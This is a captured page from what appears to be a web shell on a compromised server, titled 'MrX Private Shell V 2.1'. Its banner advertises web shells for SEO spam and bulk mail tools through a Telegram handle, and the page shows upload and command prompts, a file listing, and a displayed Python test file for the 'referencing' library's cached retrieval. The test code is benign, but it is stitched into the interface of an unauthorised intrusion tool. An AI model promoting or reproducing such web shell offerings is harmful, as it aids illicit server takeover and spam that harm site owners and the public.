__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
from functools import lru_cache
import json

import pytest

from referencing import Registry, Resource, exceptions
from referencing.jsonschema import DRAFT202012
from referencing.retrieval import to_cached_resource


class TestToCachedResource:
    def test_it_caches_retrieved_resources(self):
        contents = {"$schema": "https://json-schema.org/draft/2020-12/schema"}
        stack = [json.dumps(contents)]

        @to_cached_resource()
        def retrieve(uri):
            return stack.pop()

        registry = Registry(retrieve=retrieve)

        expected = Resource.from_contents(contents)

        got = registry.get_or_retrieve("urn:example:schema")
        assert got.value == expected

        # And a second time we get the same value.
        again = registry.get_or_retrieve("urn:example:schema")
        assert again.value is got.value

    def test_custom_loader(self):
        contents = {"$schema": "https://json-schema.org/draft/2020-12/schema"}
        stack = [json.dumps(contents)[::-1]]

        @to_cached_resource(loads=lambda s: json.loads(s[::-1]))
        def retrieve(uri):
            return stack.pop()

        registry = Registry(retrieve=retrieve)

        expected = Resource.from_contents(contents)

        got = registry.get_or_retrieve("urn:example:schema")
        assert got.value == expected

        # And a second time we get the same value.
        again = registry.get_or_retrieve("urn:example:schema")
        assert again.value is got.value

    def test_custom_from_contents(self):
        contents = {}
        stack = [json.dumps(contents)]

        @to_cached_resource(from_contents=DRAFT202012.create_resource)
        def retrieve(uri):
            return stack.pop()

        registry = Registry(retrieve=retrieve)

        expected = DRAFT202012.create_resource(contents)

        got = registry.get_or_retrieve("urn:example:schema")
        assert got.value == expected

        # And a second time we get the same value.
        again = registry.get_or_retrieve("urn:example:schema")
        assert again.value is got.value

    def test_custom_cache(self):
        schema = {"$schema": "https://json-schema.org/draft/2020-12/schema"}
        mapping = {
            "urn:example:1": dict(schema, foo=1),
            "urn:example:2": dict(schema, foo=2),
            "urn:example:3": dict(schema, foo=3),
        }

        resources = {
            uri: Resource.from_contents(contents)
            for uri, contents in mapping.items()
        }

        @to_cached_resource(cache=lru_cache(maxsize=2))
        def retrieve(uri):
            return json.dumps(mapping.pop(uri))

        registry = Registry(retrieve=retrieve)

        got = registry.get_or_retrieve("urn:example:1")
        assert got.value == resources["urn:example:1"]
        assert registry.get_or_retrieve("urn:example:1").value is got.value
        assert registry.get_or_retrieve("urn:example:1").value is got.value

        got = registry.get_or_retrieve("urn:example:2")
        assert got.value == resources["urn:example:2"]
        assert registry.get_or_retrieve("urn:example:2").value is got.value
        assert registry.get_or_retrieve("urn:example:2").value is got.value

        # This still succeeds, but evicts the first URI
        got = registry.get_or_retrieve("urn:example:3")
        assert got.value == resources["urn:example:3"]
        assert registry.get_or_retrieve("urn:example:3").value is got.value
        assert registry.get_or_retrieve("urn:example:3").value is got.value

        # And now this fails (as we popped the value out of `mapping`)
        with pytest.raises(exceptions.Unretrievable):
            registry.get_or_retrieve("urn:example:1")

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
test_core.py File 36.97 KB 0644
test_exceptions.py File 934 B 0644
test_jsonschema.py File 11.41 KB 0644
test_referencing_suite.py File 2.28 KB 0644
test_retrieval.py File 3.63 KB 0644
Filemanager